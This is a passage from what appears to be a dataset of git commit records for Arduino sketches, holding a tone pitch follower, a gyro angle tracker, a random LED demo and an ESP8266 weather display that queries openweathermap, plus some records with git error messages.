/arduino-libs,ari-analytics\/Arduino,wayoda\/Arduino,kidswong999\/Arduino,Alfredynho\/AgroSis,mangelajo\/Arduino,rcook\/DesignLab,henningpohl\/Arduino,ricklon\/Arduino,raimohanska\/Arduino,jaej-dev\/Arduino,gestrem\/Arduino,danielchalef\/Arduino,ntruchsess\/Arduino-1,plaintea\/esp8266-Arduino,jaej-dev\/Arduino,Gourav2906\/Arduino,benwolfe\/esp8266-Arduino,weera00\/Arduino,xxxajk\/Arduino-1,tannewt\/Arduino,stevemayhew\/Arduino,odbol\/Arduino,snargledorf\/Arduino,jaej-dev\/Arduino,paulo-raca\/ESP8266-Arduino,leftbrainstrain\/Arduino-ESP8266,ccoenen\/Arduino,arduino-org\/Arduino,HCastano\/Arduino,ogahara\/Arduino,myrtleTree33\/Arduino,tskurauskas\/Arduino,snargledorf\/Arduino,aichi\/Arduino-2,niggor\/Arduino_cc,snargledorf\/Arduino,arduino-org\/Arduino,fungxu\/Arduino,andrealmeidadomingues\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,bugobliterator\/BUAGI,eggfly\/arduino,paulo-raca\/ESP8266-Arduino,kidswong999\/Arduino,NicoHood\/Arduino,ogahara\/Arduino,Chris--A\/Arduino,stevemayhew\/Arduino,381426068\/Arduino,ccoenen\/Arduino,lulufei\/Arduino,talhaburak\/Arduino,eeijcea\/Arduino-1,eeijcea\/Arduino-1,tbowmo\/Arduino,odbol\/Arduino,majenkotech\/Arduino,adafruit\/ESP8266-Arduino,KlaasDeNys\/Arduino,tskurauskas\/Arduino,jaej-dev\/Arduino,jaimemaretoli\/Arduino,lukeWal\/Arduino,jomolinare\/Arduino,PeterVH\/Arduino,majenkotech\/Arduino,gurbrinder\/Arduino,jaehong\/Xmegaduino,Protoneer\/Arduino,HCastano\/Arduino,Gourav2906\/Arduino,jmgonzalez00449\/Arduino,pdNor\/Arduino,plinioseniore\/Arduino,mc-hamster\/esp8266-Arduino,NaSymbol\/Arduino,onovy\/Arduino,NeuralSpaz\/Arduino,noahchense\/Arduino-1,byran\/Arduino,garci66\/Arduino,scdls\/Arduino,smily77\/Arduino,NaSymbol\/Arduino,eddyst\/Arduino-SourceCode,ashwin713\/Arduino,ForestNymph\/Arduino_sources,andrealmeidadomingues\/Arduino,garci66\/Arduino,NicoHood\/Arduino,sanyaade-iot\/Arduino-1,kidswong999\/Arduino,adamkh\/Arduino,gberl001\/Arduino,zaiexx\/Arduino,laylthe\/Arduino,spapadim\/Arduino,OpenDevice\/Arduino,piersoft\/esp8266-Arduino,jmgonzalez00449\/Arduino,bsmr-arduino\/Arduino,eduardocasarin\/Arduino,jamesrob4\/Arduino,plinioseniore\/Arduino,Chris--A\/Arduino,gestrem\/Arduino,lulufei\/Arduino,bsmr-arduino\/Arduino,kidswong999\/Arduino,championswimmer\/Arduino,majenkotech\/Arduino,xxxajk\/Arduino-1,arunkuttiyara\/Arduino,lulufei\/Arduino,ektor5\/Arduino,laylthe\/Arduino,damellis\/Arduino,xxxajk\/Arduino-1,wdoganowski\/Arduino,zederson\/Arduino,majenkotech\/Arduino,eduardocasarin\/Arduino,wilhelmryan\/Arduino,pdNor\/Arduino,weera00\/Arduino,jaehong\/Xmegaduino,jaimemaretoli\/Arduino,mc-hamster\/esp8266-Arduino,Gourav2906\/Arduino,danielchalef\/Arduino,UDOOboard\/Arduino,Ramoonus\/Arduino,bsmr-arduino\/Arduino,lukeWal\/Arduino,ari-analytics\/Arduino,smily77\/Arduino,stickbreaker\/Arduino,ogferreiro\/Arduino,EmuxEvans\/Arduino,myrtleTree33\/Arduino,andrealmeidadomingues\/Arduino,bigjosh\/Arduino,PeterVH\/Arduino,gonium\/Arduino,rcook\/DesignLab,laylthe\/Arduino,odbol\/Arduino,eddyst\/Arduino-SourceCode,gonium\/Arduino,scdls\/Arduino,ccoenen\/Arduino,jaehong\/Xmegaduino,tomkrus007\/Arduino,HCastano\/Arduino,Protoneer\/Arduino,stevemarple\/Arduino-org,lulufei\/Arduino,arunkuttiyara\/Arduino,steamboating\/Arduino,jmgonzalez00449\/Arduino,diydrones\/Arduino,eggfly\/arduino,paulmand3l\/Arduino,nandojve\/Arduino,rcook\/DesignLab,ThoughtWorksIoTGurgaon\/Arduino,ccoenen\/Arduino,acosinwork\/Arduino,chaveiro\/Arduino,probonopd\/Arduino,plaintea\/esp8266-Arduino,mattvenn\/Arduino,danielchalef\/Arduino,championswimmer\/Arduino,zaiexx\/Arduino,mboufos\/esp8266-Arduino,wayoda\/Arduino,damellis\/Arduino,Gourav2906\/Arduino,bigjosh\/Arduino,tommyli2014\/Arduino,jaimemaretoli\/Arduino,rcook\/DesignLab,ogferreiro\/Arduino,myrtleTree33\/Arduino,benwolfe\/esp8266-Arduino,danielchalef\/Arduino,myrtleTree33\/Arduino,shiitakeo\/Arduino,linino\/Arduino,stickbreaker\/Arduino,shiitakeo\/Arduino,paulmand3l\/Arduino,tbowmo\/Arduino,ektor5\/Arduino,01org\/Arduino,mateuszdw\/Arduino,majenkotech\/Arduino,wilhelmryan\/Arduino,andrealmeidadomingues\/Arduino,bigjosh\/Arduino,superboonie\/Arduino,ms-iot\/Arduino,ssvs111\/Arduino,superboonie\/Arduino,SmartArduino\/Arduino-1,PaoloP74\/Arduino,ogahara\/Arduino,ashwin713\/Arduino,bsmr-arduino\/Arduino,snargledorf\/Arduino,KlaasDeNys\/Arduino,adamkh\/Arduino,drpjk\/Arduino,paulmand3l\/Arduino,jmgonzalez00449\/Arduino,me-no-dev\/Arduino-1,odbol\/Arduino,bsmr-arduino\/Arduino,bigjosh\/Arduino,henningpohl\/Arduino,NicoHood\/Arduino,EmuxEvans\/Arduino,bugobliterator\/BUAGI,nkolban\/Arduino,jomolinare\/Arduino,01org\/Arduino,paulmand3l\/Arduino,ikbelkirasan\/Arduino,mattvenn\/Arduino,sanyaade-iot\/Arduino-1,xxxajk\/Arduino-1,lukeWal\/Arduino,Cloudino\/Cloudino-Arduino-IDE,fungxu\/Arduino,me-no-dev\/Arduino-1,ntruchsess\/Arduino-1,eeijcea\/Arduino-1,PaoloP74\/Arduino,arduino-org\/Arduino,toddtreece\/esp8266-Arduino,shannonshsu\/Arduino,stevemarple\/Arduino-org,spapadim\/Arduino,bsmr-arduino\/Arduino,acosinwork\/Arduino,plaintea\/esp8266-Arduino,drpjk\/Arduino,NaSymbol\/Arduino,UDOOboard\/Arduino,paulmand3l\/Arduino,gestrem\/Arduino,KlaasDeNys\/Arduino,HCastano\/Arduino,bugobliterator\/BUAGI,wilhelmryan\/Arduino,xxxajk\/Arduino-1,zederson\/Arduino,wilhelmryan\/Arduino,OpenDevice\/Arduino,rodibot\/Arduino,Protoneer\/Arduino,gurbrinder\/Arduino,plinioseniore\/Arduino,spapadim\/Arduino,adamkh\/Arduino,jaej-dev\/Arduino,ashwin713\/Arduino,talhaburak\/Arduino,damellis\/Arduino,arduino-org\/Arduino,paulo-raca\/ESP8266-Arduino,tommyli2014\/Arduino,tannewt\/Arduino,eeijcea\/Arduino-1,jabezGit\/Arduino,mangelajo\/Arduino,Cloudino\/Arduino,Ramoonus\/Arduino,Ramoonus\/Arduino,UDOOboard\/Arduino,weera00\/Arduino,Alfredynho\/AgroSis,PeterVH\/Arduino,ikbelkirasan\/Arduino,stevemarple\/Arduino-org,steamboating\/Arduino,adamkh\/Arduino,ari-analytics\/Arduino,nandojve\/Arduino,ssvs111\/Arduino,mboufos\/esp8266-Arduino,bigjosh\/Arduino,ricklon\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ssvs111\/Arduino,tannewt\/Arduino,Gourav2906\/Arduino,tommyli2014\/Arduino,snargledorf\/Arduino,ari-analytics\/Arduino,vbextreme\/Arduino,tskurauskas\/Arduino,mateuszdw\/Arduino,odbol\/Arduino,shiitakeo\/Arduino,381426068\/Arduino,ForestNymph\/Arduino_sources,01org\/Arduino,superboonie\/Arduino,vbextreme\/Arduino,radut\/Arduino,mboufos\/esp8266-Arduino,mangelajo\/Arduino,xxxajk\/Arduino-1,jaej-dev\/Arduino,wdoganowski\/Arduino,damellis\/Arduino,stevemayhew\/Arduino,fungxu\/Arduino,kidswong999\/Arduino,Protoneer\/Arduino,ogahara\/Arduino,linino\/Arduino,karlitxo\/Arduino,arduino-org\/Arduino,shiitakeo\/Arduino,gonium\/Arduino,ogferreiro\/Arduino,championswimmer\/Arduino,OpenDevice\/Arduino,garci66\/Arduino,adafruit\/ESP8266-Arduino,gurbrinder\/Arduino,ricklon\/Arduino,ari-analytics\/Arduino,HCastano\/Arduino,laylthe\/Arduino,linino\/Arduino,kidswong999\/Arduino,eduardocasarin\/Arduino,smily77\/Arduino,ektor5\/Arduino,jaimemaretoli\/Arduino,andyvand\/Arduino-1,byran\/Arduino,smily77\/Arduino,stevemarple\/Arduino-org,adafruit\/ESP8266-Arduino,plinioseniore\/Arduino,superboonie\/Arduino,weera00\/Arduino,toddtreece\/esp8266-Arduino,ektor5\/Arduino,tbowmo\/Arduino,ogahara\/Arduino,talhaburak\/Arduino,PeterVH\/Arduino,eggfly\/arduino,shannonshsu\/Arduino,gberl001\/Arduino,bugobliterator\/BUAGI,raimohanska\/Arduino,wdoganowski\/Arduino,EmuxEvans\/Arduino,mattvenn\/Arduino,NaSymbol\/Arduino,vbextreme\/Arduino,Cloudino\/Cloudino-Arduino-IDE,eeijcea\/Arduino-1,ogferreiro\/Arduino,shannonshsu\/Arduino,andyvand\/Arduino-1,drpjk\/Arduino,arduino-org\/Arduino,ccoenen\/Arduino,acosinwork\/Arduino,pdNor\/Arduino,gurbrinder\/Arduino,lukeWal\/Arduino,wayoda\/Arduino,weera00\/Arduino,Ramoonus\/Arduino,koltegirish\/Arduino,onovy\/Arduino,leftbrainstrain\/Arduino-ESP8266,ntruchsess\/Arduino-1,laylthe\/Arduino,andrealmeidadomingues\/Arduino,jomolinare\/Arduino,Protoneer\/Arduino,fungxu\/Arduino,tommyli2014\/Arduino,HCastano\/Arduino,spapadim\/Arduino,smily77\/Arduino,scdls\/Arduino,lukeWal\/Arduino,tskurauskas\/Arduino,Cloudino\/Cloudino-Arduino-IDE,NaSymbol\/Arduino,vbextreme\/Arduino,andyvand\/Arduino-1,shiitakeo\/Arduino,ashwin713\/Arduino,chaveiro\/Arduino,381426068\/Arduino,vbextreme\/Arduino,PeterVH\/Arduino,garci66\/Arduino,zenmanenergy\/Arduino,eduardocasarin\/Arduino,PeterVH\/Arduino,nkolban\/Arduino,pdNor\/Arduino,wilhelmryan\/Arduino,niggor\/Arduino_cc,nkolban\/Arduino,Chris--A\/Arduino,me-no-dev\/Arduino-1,arunkuttiyara\/Arduino,gberl001\/Arduino,diydrones\/Arduino,diydrones\/Arduino,drpjk\/Arduino,henningpohl\/Arduino,spapadim\/Arduino,ForestNymph\/Arduino_sources,arduino-org\/Arduino,ikbelkirasan\/Arduino,Chris--A\/Arduino,andrealmeidadomingues\/Arduino,EmuxEvans\/Arduino,bigjosh\/Arduino,wdoganowski\/Arduino,NicoHood\/Arduino,toddtreece\/esp8266-Arduino,eddyst\/Arduino-SourceCode,NeuralSpaz\/Arduino,UDOOboard\/Arduino,Chris--A\/Arduino,plaintea\/esp8266-Arduino,xxxajk\/Arduino-1,stickbreaker\/Arduino,vbextreme\/Arduino,ssvs111\/Arduino,Alfredynho\/AgroSis,ashwin713\/Arduino,odbol\/Arduino,mangelajo\/Arduino,andyvand\/Arduino-1,PaintYourDragon\/Arduino,snargledorf\/Arduino,nandojve\/Arduino,PaoloP74\/Arduino,tbowmo\/Arduino,eduardocasarin\/Arduino,01org\/Arduino,eggfly\/arduino,chaveiro\/Arduino,wayoda\/Arduino,KlaasDeNys\/Arduino,jaej-dev\/Arduino,gonium\/Arduino,scdls\/Arduino,eddyst\/Arduino-SourceCode,shannonshsu\/Arduino,stevemarple\/Arduino-org,PaintYourDragon\/Arduino,adafruit\/ESP8266-Arduino,eggfly\/arduino,shannonshsu\/Arduino,chaveiro\/Arduino,tomkrus007\/Arduino,garci66\/Arduino,arunkuttiyara\/Arduino,damellis\/Arduino,benwolfe\/esp8266-Arduino,mattvenn\/Arduino,NaSymbol\/Arduino,wdoganowski\/Arduino,gberl001\/Arduino,raimohanska\/Arduino,cscenter\/Arduino,gberl001\/Arduino,gurbrinder\/Arduino,scdls\/Arduino,ari-analytics\/Arduino,radut\/Arduino,niggor\/Arduino_cc,NaSymbol\/Arduino,PaoloP74\/Arduino,vbextreme\/Arduino,odbol\/Arduino,tbowmo\/Arduino,raimohanska\/Arduino,rcook\/DesignLab,arunkuttiyara\/Arduino,wdoganowski\/Arduino,Cloudino\/Arduino,zenmanenergy\/Arduino,NeuralSpaz\/Arduino,ashwin713\/Arduino,SmartArduino\/Arduino-1,steamboating\/Arduino,ntruchsess\/Arduino-1,onovy\/Arduino,Cloudino\/Arduino,piersoft\/esp8266-Arduino,fungxu\/Arduino,raimohanska\/Arduino,UDOOboard\/Arduino,ricklon\/Arduino,wayoda\/Arduino,probonopd\/Arduino,shannonshsu\/Arduino","old_file":"build\/shared\/examples\/02.Digital\/tonePitchFollower\/tonePitchFollower.ino","new_file":"build\/shared\/examples\/02.Digital\/tonePitchFollower\/tonePitchFollower.ino","new_contents":"\/*\n Pitch follower\n \n Plays a pitch that changes based on a changing analog input\n \n circuit:\n * 8-ohm speaker on digital pin 8\n * photoresistor on analog 0 to 5V\n * 4.7K resistor on analog 0 to ground\n \n created 21 Jan 2010\n modified 31 May 2012\n by Tom Igoe, with suggestion from Michael Flynn\n\nThis example code is in the public domain.\n \n http:\/\/arduino.cc\/en\/Tutorial\/Tone2\n \n *\/\n\n\nvoid setup() {\n \/\/ initialize serial communications (for debugging only):\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ read the sensor:\n int sensorReading = analogRead(A0);\n \/\/ print the sensor reading so you know its range\n Serial.println(sensorReading);\n \/\/ map the analog input range (in this case, 400 - 1000 from the photoresistor)\n \/\/ to the output pitch range (120 - 1500Hz)\n \/\/ change the minimum and maximum input numbers below\n \/\/ depending on the range your sensor's giving:\n int thisPitch = map(sensorReading, 400, 1000, 120, 1500);\n\n \/\/ play the pitch:\n tone(9, thisPitch, 10);\n delay(1); \/\/ delay in between reads for stability\n}\n\n\n\n\n\n\n","old_contents":"\/*\n Pitch follower\n \n Plays a pitch that changes based on a changing analog input\n \n circuit:\n * 8-ohm speaker on digital pin 8\n * photoresistor on analog 0 to 5V\n * 4.7K resistor on analog 0 to ground\n \n created 21 Jan 2010\n<<<<<<< HEAD:build\/shared\/examples\/02.Digital\/tonePitchFollower\/tonePitchFollower.ino\n modified 9 Apr 2012\n by Tom Igoe \n=======\n modified 31 May 2012\n by Tom Igoe, with suggestion from Michael Flynn\n>>>>>>> Made changes to TonePitchFollower example for clarity, suggestions by user Michael Flynn:build\/shared\/examples\/2.Digital\/tonePitchFollower\/tonePitchFollower.ino\n\nThis example code is in the public domain.\n \n http:\/\/arduino.cc\/en\/Tutorial\/Tone2\n \n *\/\n\n\nvoid setup() {\n \/\/ initialize serial communications (for debugging only):\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ read the sensor:\n int sensorReading = analogRead(A0);\n \/\/ print the sensor reading so you know its range\n Serial.println(sensorReading);\n \/\/ map the analog input range (in this case, 400 - 1000 from the photoresistor)\n \/\/ to the output pitch range (120 - 1500Hz)\n \/\/ change the minimum and maximum input numbers below\n \/\/ depending on the range your sensor's giving:\n int thisPitch = map(sensorReading, 400, 1000, 120, 1500);\n\n \/\/ play the pitch:\n tone(9, thisPitch, 10);\n delay(1); \/\/ delay in between reads for stability\n}\n\n\n\n\n\n\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"9c6563c5c6629533d342afa77e49412ad9b12ce1","subject":"Gyro Code","message":"Gyro Code\n\nHere is the source code found in the internet.\n","repos":"STMU-IEEE\/Robotics-16-17,STMU-IEEE\/Robotics-16-17,STMU-IEEE\/Robotics-16-17","old_file":"GyroCode\/GyroCode.ino","new_file":"GyroCode\/GyroCode.ino","new_contents":"\/* Keep track of gyro angle over time\n * Connect Gyro to Analog Pin 0\n *\n * Sketch by eric barch \/ ericbarch.com\n * v. 0.1 - simple serial output\n *\n *\/\n\nint gyroPin = 0; \/\/Gyro is connected to analog pin 0\nfloat gyroVoltage = 5; \/\/Gyro is running at 5V\nfloat gyroZeroVoltage = 2.5; \/\/Gyro is zeroed at 2.5V\nfloat gyroSensitivity = .007; \/\/Our example gyro is 7mV\/deg\/sec\nfloat rotationThreshold = 1; \/\/Minimum deg\/sec to keep track of - helps with gyro drifting\n\nfloat currentAngle = 0; \/\/Keep track of our current angle\n\nvoid setup() {\n Serial.begin (9600);\n}\n\nvoid loop() {\n \/\/This line converts the 0-1023 signal to 0-5V\n float gyroRate = (analogRead(gyroPin) * gyroVoltage) \/ 1023;\n\n \/\/This line finds the voltage offset from sitting still\n gyroRate -= gyroZeroVoltage;\n\n \/\/This line divides the voltage we found by the gyro's sensitivity\n gyroRate \/= gyroSensitivity;\n\n \/\/Ignore the gyro if our angular velocity does not meet our threshold\n if (gyroRate >= rotationThreshold || gyroRate <= -rotationThreshold) {\n \/\/This line divides the value by 100 since we are running in a 10ms loop (1000ms\/10ms)\n gyroRate \/= 100;\n currentAngle += gyroRate;\n }\n\n \/\/Keep our angle between 0-359 degrees\n if (currentAngle < 0)\n currentAngle += 360;\n else if (currentAngle > 359)\n currentAngle -= 360;\n\n \/\/DEBUG\n Serial.println(currentAngle);\n\n delay(10);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GyroCode\/GyroCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9531eded621ea643674de3654cc2a0cfa9e10d46","subject":"Hallsensoren Probleemtijd","message":"Hallsensoren Probleemtijd\n","repos":"quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack","old_file":"Arduino\/Serial_Hallsensoren\/Serial_Hallsensoren.ino","new_file":"Arduino\/Serial_Hallsensoren\/Serial_Hallsensoren.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/quinten991\/PenO3OnTrack.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"712e28a1166ffac7ffea7f677a4364abbbe79a58","subject":"Add pseudoRandom Demo for Science Museum project","message":"Add pseudoRandom Demo for Science Museum project\n","repos":"darrell24015\/Uno,darrell24015\/Uno","old_file":"pseudoRandom_Demo\/pseudoRandom_Demo.ino","new_file":"pseudoRandom_Demo\/pseudoRandom_Demo.ino","new_contents":"\/*\n * pseudoRandom Demonstration sketch\n * Author: Darrell Little\n * Date: 04\/29\/2017\n * This code is in the public domain\n *\/\n\/\/ Array to hold the pin numbers with LED connected\nint ledPin[] = {11,10,9,6};\n\/\/ Variable to set the delay time to blink\nint waitTime = 1000;\n\/\/ Variable to hold the random LED pin to blink\nint randomLED;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n \/\/ Use reading on Analog pin 0 for a randon seed\n randomSeed(analogRead(0));\n \/\/ Initialize each pin in array to Output and Low (off)\n for (int x=0; x<4; x++) {\n pinMode(ledPin[x], OUTPUT);\n digitalWrite(ledPin[x], LOW);\n }\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \/\/ Randomly select a LED pin number\n randomLED = random(0,4);\n \/\/ Turn LED on\n digitalWrite(ledPin[randomLED], HIGH);\n delay(waitTime);\n \/\/ Turn LED off\n digitalWrite(ledPin[randomLED], LOW);\n delay(waitTime);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pseudoRandom_Demo\/pseudoRandom_Demo.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"77492eaafc3d7ad53be32ab6def5ac8fc5a05171","subject":"homing is implemented","message":"homing is implemented\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"88757489a60c5b17d4b99f5eb45836d3a29bbb48","subject":"v1.0 Initial release","message":"v1.0 Initial release","repos":"Grommet123\/WeatherDisplay,Grommet123\/WeatherDisplay","old_file":"WeatherDisplay.ino","new_file":"WeatherDisplay.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Weather Forecast Display \/\/\n\/\/ GK Grotsky \/\/\n\/\/ 12\/29\/16 \/\/\n\/\/ Based on the following: \/\/\n\/\/ http:\/\/educ8s.tv\/art-deco-weather-forecast-display\/ \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"WeatherDisplay.h\"\n#include <ESP8266WiFi.h>\n#include <ArduinoJson.h>\n#include <Adafruit_ST7735.h>\n#include <Adafruit_GFX.h>\n\nconst char* ssid = \"YourSSID\"; \/\/ SSID of local network\nconst char* password = \"YourPassword\"; \/\/ Password on network\nString APIKEY = \"YourAPIKEY\"; \/\/ openweathermap.org APIKEY\nString CityID = \"123456\"; \/\/ openweathermap.org City\n\nWiFiClient client;\nchar servername[] = \"api.openweathermap.org\"; \/\/ remote server we will connect to\nString result;\nboolean night = false;\n\nextern unsigned char cloud[];\nextern unsigned char thunder[];\nextern unsigned char wind[];\n\nAdafruit_ST7735 tft(TFT_CS, TFT_DC, TFT_RST);\n\nvoid setup() {\n#ifdef DEBUG\n Serial.begin(9600);\n#endif\n pinMode(TOGGLEDISPLAY_SW, INPUT);\n pinMode(ALIVE_LED, OUTPUT);\n\n tft.initR(INITR_BLACKTAB); \/\/ initialize a ST7735S chip, black tab\n tft.fillScreen(BLACK);\n\n#ifdef DEBUG\n Serial.println(\"Connecting\");\n#endif\n tft.setTextColor(YELLOW);\n tft.setTextSize(1);\n tft.setCursor(30, 5);\n tft.print(\"Version \");\n tft.print(VERSION);\n tft.setCursor(30, 15);\n tft.print(CREDIT);\n tft.setCursor(30, 80);\n tft.setTextColor(WHITE);\n tft.print(\"Connecting...\");\n\n int startCounter = 0;\n\n WiFi.mode(WIFI_STA);\n WiFi.begin (ssid, password);\n while (WiFi.status() != WL_CONNECTED) {\n#ifdef DEBUG\n Serial.print(\".\");\n#endif\n startCounter++;\n tft.setTextSize(1);\n tft.setTextColor(YELLOW);\n if (startCounter <= 1) tft.setCursor(20, 100);\n tft.print(startCounter);\n if (startCounter >= 10) {\n#ifdef DEBUG\n Serial.println(\"\\nTimed out. Starting again...\");\n#endif\n return;\n }\n delay(500);\n }\n#ifdef DEBUG\n Serial.println(\"WiFi connected\");\n#endif\n} \/\/ setup\n\nbool toggleDisplay = digitalRead(TOGGLEDISPLAY_SW);\nstatic bool pastToggleDisplay = toggleDisplay;\n\nvoid loop() {\n static int counter = GETDATACOUNT;\n byte flasher;\n\n toggleDisplay = digitalRead(TOGGLEDISPLAY_SW);\n if ((toggleDisplay != pastToggleDisplay) && (counter >= SAFETIME)) {\n pastToggleDisplay = toggleDisplay;\n counter = GETDATACOUNT;\n }\n\n if (counter >= GETDATACOUNT) \/\/Get new data\n {\n counter = 0;\n getWeatherData();\n\n }\n else {\n counter++;\n flasher = (counter % 2 == 0);\n analogWrite(ALIVE_LED, flasher * ALIVEBRIGHTNESS);\n \/\/ Seed random number generator\n randomSeed(counter + flasher);\n delay(5000);\n#ifdef DEBUG\n Serial.print(\"counter = \");\n Serial.println(counter);\n#endif\n }\n}\n\nvoid getWeatherData() \/\/client function to send\/receive GET request data.\n{\n#ifdef DEBUG\n Serial.println(\"Getting Weather Data\");\n#endif\n if (client.connect(servername, 80)) { \/\/starts client connection, checks for connection\n client.println(\"GET \/data\/2.5\/forecast?id=\" + CityID + \"&units=imperial&cnt=1&APPID=\" + APIKEY);\n client.println(\"Host: api.openweathermap.org\");\n client.println(\"User-Agent: ArduinoWiFi\/1.1\");\n client.println(\"Connection: close\");\n client.println();\n }\n else {\n#ifdef DEBUG\n Serial.println(\"connection failed\"); \/\/error message if no client connect\n Serial.println();\n#endif\n return;\n }\n\n while (client.connected() && !client.available()) delay(1); \/\/waits for data\n\n#ifdef DEBUG\n Serial.println(\"Waiting for data\");\n#endif\n\n while (client.connected() || client.available()) { \/\/connected or data available\n char c = client.read(); \/\/gets byte from ethernet buffer\n result = result + c;\n }\n\n client.stop(); \/\/stop client\n result.replace('[', ' ');\n result.replace(']', ' ');\n#ifdef DEBUG\n Serial.println(result);\n#endif\n\n char jsonArray [result.length() + 1];\n result.toCharArray(jsonArray, sizeof(jsonArray));\n jsonArray[result.length() + 1] = '\\0';\n\n StaticJsonBuffer<1024> json_buf;\n JsonObject &root = json_buf.parseObject(jsonArray);\n if (!root.success())\n {\n Serial.println(\"parseObject() failed\");\n }\n\n String location = root[\"city\"][\"name\"];\n String temperature = root[\"list\"][\"main\"][\"temp\"];\n String humidity = root[\"list\"][\"main\"][\"humidity\"];\n String weather = root[\"list\"][\"weather\"][\"main\"];\n String description = root[\"list\"][\"weather\"][\"description\"];\n String idString = root[\"list\"][\"weather\"][\"id\"];\n String timeS = root[\"list\"][\"dt_txt\"];\n String latitude = root[\"city\"][\"coord\"][\"lat\"];\n String longitude = root[\"city\"][\"coord\"][\"lon\"];\n String windSpeed = root[\"list\"][\"wind\"][\"speed\"];\n String windDirection = root[\"list\"][\"wind\"][\"deg\"];\n\n int riseI;\n int setI;\n timeS = convertGMTTimeToLocal(timeS, latitude, longitude, &riseI, &setI);\n\n int length = temperature.length();\n if (length == 5)\n {\n temperature.remove(length - 1);\n }\n#ifdef DEBUG\n Serial.print(\"City \");\n Serial.println(location);\n Serial.print(\"Weather Icon ID \");\n Serial.println(idString);\n Serial.print(\"Weather \");\n Serial.println(weather);\n Serial.print(\"Description \");\n Serial.println(description);\n Serial.print(\"Temperature \");\n Serial.println(temperature + \"f\");\n Serial.print(\"Humidity \");\n Serial.println(humidity + \"% RH\");\n Serial.print(\"Wind speed \");\n Serial.println(windSpeed + \" MPH\");\n Serial.print(\"Wind direction \");\n Serial.println(windDirection + \" Deg\");\n Serial.print(\"Latitude \");\n Serial.println(latitude + \" Deg\");\n Serial.print(\"Longitude \");\n Serial.println(longitude + \" Deg\");\n Serial.print(\"Time last updated \");\n#ifdef CONVERTTIMETOLOCAL\n Serial.println(timeS);\n#else\n Serial.print(timeS);\n Serial.println(\" UTC\");\n#endif\n\n#endif\n\n clearScreen();\n\n if (toggleDisplay) {\n printAuxData(location,\n temperature,\n humidity,\n description,\n windSpeed,\n windDirection,\n timeS,\n riseI,\n setI);\n }\n else {\n printMainData(humidity, temperature, timeS, idString.toInt());\n }\n}\n\nvoid printAuxData(String location,\n String temperature,\n String humidity,\n String description,\n String windSpeed,\n String windDirection,\n String time,\n int rise,\n int set)\n{\n static long lastRandomNumber;\n long randomColor;\n unsigned int textColor[] = {\n BLUE,\n RED,\n GREEN,\n CYAN,\n MAGENTA,\n YELLOW,\n WHITE\n };\n\n \/\/ Get random number\n randomColor = random(0, 7);\n \/\/ If random number repeats, try again\n while (randomColor == lastRandomNumber) {\n randomColor = random(0, 7);\n }\n tft.setTextColor(textColor[randomColor]);\n tft.setTextSize(1);\n tft.setCursor(0, 0);\n tft.print(\"Location: \");\n tft.println(location);\n tft.println(\"\");\n tft.print(\"Temperature: \");\n tft.print(temperature.toInt());\n tft.println(\" F\");\n tft.println(\"\");\n tft.print(\"Humidity: \");\n tft.print(humidity.toInt());\n tft.println(\"% RH\");\n tft.println(\"\");\n tft.print(\"Sky: \");\n tft.println(description);\n tft.println(\"\");\n tft.print(\"Wind Spd: \");\n tft.print(windSpeed.toInt());\n tft.println(\" Knots\");\n tft.println(\"\");\n tft.print(\"Wind Dir: \");\n tft.print(windDirection.toInt());\n tft.println(\" Degs\");\n tft.println(\"\");\n tft.print(\"Time: \");\n tft.println(time);\n tft.println(\"\");\n tft.print(\"Sunrise: \");\n tft.print(rise);\n tft.println(\":00am\");\n tft.println(\"\");\n tft.print(\"Sunset: \");\n tft.print(set);\n tft.println(\":00pm\");\n tft.println(\"\");\n tft.println((night) ? \"It is Night time\" : \"It is Day time\");\n}\n\nvoid printMainData(String humidityString, String temperature, String time, int weatherID)\n{\n tft.setTextColor(WHITE);\n tft.setTextSize(1);\n tft.setCursor(40, 5);\n tft.print(time);\n tft.setTextSize(2);\n tft.setCursor(27, 20);\n tft.print(temperature);\n tft.setTextSize(1);\n tft.print(\"o\");\n tft.setTextSize(2);\n tft.print(\" F\");\n\n printWeatherIcon(weatherID);\n\n tft.setTextColor(WHITE);\n tft.setTextSize(2);\n tft.setCursor(27, 132);\n tft.print(humidityString);\n tft.print(\"% RH\");\n}\n\nvoid printWeatherIcon(int id)\n{\n switch 